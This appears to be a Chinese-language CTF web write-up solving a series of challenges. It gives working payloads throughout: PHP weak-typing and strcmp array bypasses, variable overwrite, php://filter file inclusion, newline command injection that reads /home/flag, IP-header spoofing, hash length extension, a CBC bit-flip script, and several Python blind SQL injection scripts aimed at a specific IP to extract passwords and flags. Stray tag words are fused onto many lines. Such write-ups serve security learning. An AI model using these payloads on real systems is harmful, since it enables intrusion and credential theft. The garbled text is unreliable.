比較數字大小php
F12 修改maxlength爲4python
web01mysql
strcmp()函數遇到數組會返回NULL 而PHP是弱類型語言 在==比較的時候,若是有數值的話會先將字符串轉換爲數值在進行比較,而NULL轉換成數值爲0,因此繞過題目限制。web
payload: get: /?password[]=1sql
本地的誘惑數據庫
右鍵查看源代碼便可。數組
你能跨過去嗎?服務器
複製callback參數內容 base64解碼獲得<script>alert("key:/%nsfocusXSStest%/")</script> 複製key的內容 提交獲得flag;cookie
一切都是套路ide
訪問/index.php.txt獲得源代碼:
變量覆蓋漏洞($$):
get: ?_200=flag
post: flag=x
你能繞過嗎
更改f參數的內容發現會報錯,猜想是文件包含漏洞
用php僞協議來讀取flag.通過測試發現題目過濾了php 因此用PHP://filter/convert.base64-encode/resource=index,解碼讀到flag。
web02
burp截斷 利用client-ip: 127.0.0.1修改客戶端ip以欺騙服務器 獲得flag。
根據題目要求 ping 猜想是命令注入漏洞,過濾了; & |等特殊符號 利用%0a(換行)進行繞過
用 ls / 命令查看目錄
最後在 /home目錄下發現flag payload: /?ip=127.0.0.1%0a cat /home/flag獲得flag
/index.php.txt 頁面泄漏源代碼,利用php弱類型進行繞過;
?username[]=0&password=1e9
點擊我的信息頁面,寬字節注入,能夠盲注也能夠聯合查詢注入。 當時寫了個腳本盲注的。
import re import requests cname = '' flag = '' url = 'http://118.190.152.202:8015/index.php?id=1%df' payload = "' and ascii(substr(({p}),{m},1))={n}%23" list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44] for i in range(1,46): for ss in list: p = payload.format(p='select group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e73',m=i,n=ss) u = requests.get(url+p) if "head.jpg" in u.content: cname += chr(ss) print cname break for i in range(1,23): for l in list: pp = payload.format(p='select flag from admins',m=i,n=l) u = requests.get(url+pp) if "head.jpg" in u.content: flag += chr(l) print flag break
/show.php?img=1.jpg 複製圖片地址 文件包含漏洞。
因爲不包含.jpg文件提示File not found! resource能夠包含兩個文件 因此繞過
payload: php://filter/convert.base64-encode/resource=../flag.php|1.jpg 查看源代碼獲得flag。
直接給出源代碼,因爲key的值不知道 可是咱們知道key的 長度爲46,利用hash長度擴展攻擊
編碼後的username: guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin
用hashdump求出md5值 5f585093a7fe86971766c3d25c43d0eb
cbc字節翻轉攻擊
/index.txt看到源代碼 搜了一下 發現cbc字節翻轉攻擊 附帶腳本。
import urllib import base64 #a:2:{s:8:"userna #me";s:5:"admiN"; #s:8:"password";s #:6:"123456";} cipher=base64.b64decode(urllib.unquote("uA900LR7DpuWKx7K5GyvwtBhhc4Q9OVGMoXMYfIxo4lw8qgJmlbjELEU%2FeOWSGR31Zyi8BkxJ4knpng7j4sMUQ%3D%3D")) iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D")) newcipher=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:] print urllib.quote(base64.b64encode(newcipher)) jiamingwen=base64.b64decode(urllib.unquote('twZ92UO5Kx1ne5hEeGTCum1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ==')) mingwen = 'a:2:{s:8:"userna' newiv = '' for i in range(0,16): newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i])) print urllib.quote(base64.b64encode(newiv))
先用admiN 123456登陸
在地址欄處回車(不要刷新,不然cipher 和iv會刷新)並用burp抓包。
將iv 和 cipher放入腳本中 獲得新的 cipher 修改cookie中的 cipher 獲得報錯信息中的 cipher。
複製報錯信息中的cipher到腳本中 運行獲得新的iv 修改iv爲新的iv 且cipher爲第一次腳本運行獲得的cipher。獲得flag;
爲何這麼簡單啊
根據提示利用 xff ip地址僞造和referer 便可進入第二關。
右鍵查看源碼,發現可疑js文件,瀏覽找到密碼 base64解碼 提交獲得flag。
ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4
解碼獲得: xinyiji.com
php是世界上最好的語言
用戶名隨便輸 ,密碼用php弱類型進行繞過 :QNKCDZO(能夠看我以前寫過的php知識點總結)
點擊獲得
利用全局變量打印出$flag變量便可。
Sqli
題目說的很明確 就是注入了。通過測試發現是盲注 因而寫了個腳本跑出密碼登陸。
解密: u4g009
提示在另外一個字段,(真他媽坑啊),這裏直接聯合查詢注入就能夠了。
順便附上我寫的垃圾盲註腳本
import requests tname = '' pwd = '' url = 'http://118.190.152.202:8011/index.php' payload = "admin' and ascii(substr(({s}),{m},1))={n}#" fuzz = ('0123456789,abcdefghijklmnopqrstuvwxyz') # for i in range(1,10): # for k in fuzz: # p = payload.format(s='select group_concat(table_name) from information_schema.tables where table_schema = database()',m=i,n=ord(k)) # u = requests.post(url,data = {'username':p,'password':'admin'}) # if 'normal' in u.content: # tname += k # print tname # break for i in range(1,33): for k in fuzz: p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k)) u = requests.post(url,data = {'username':p,'password':'admin'}) if 'normal' in u.content: pwd += k print pwd break
有種你來繞
根據提示,是mysql的數據庫,利用mysql的特性--隱式類型轉換,進行盲注獲得密碼。
寫了個腳本跑出密碼登陸。
import requests url = "http://118.190.152.202:8019/login.php" payload = "1'-(ascii(mid((passwd)from({0})))={1})-'" password = '' fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789' for i in range(1,33): for k in fuzz: p = payload.format(i,ord(k)) u = requests.post(url,data = {'uname':p,'passwd':'admin'}) if not 'username' in u.content: password += k print password
解密: nishishabi1438 (我他媽想打死傻逼出題人)
輸入flag,執行便可。
web400 Only Admin 是cookie注入,可是本身沒怎麼看,等其餘師傅分享wp再學習一波吧。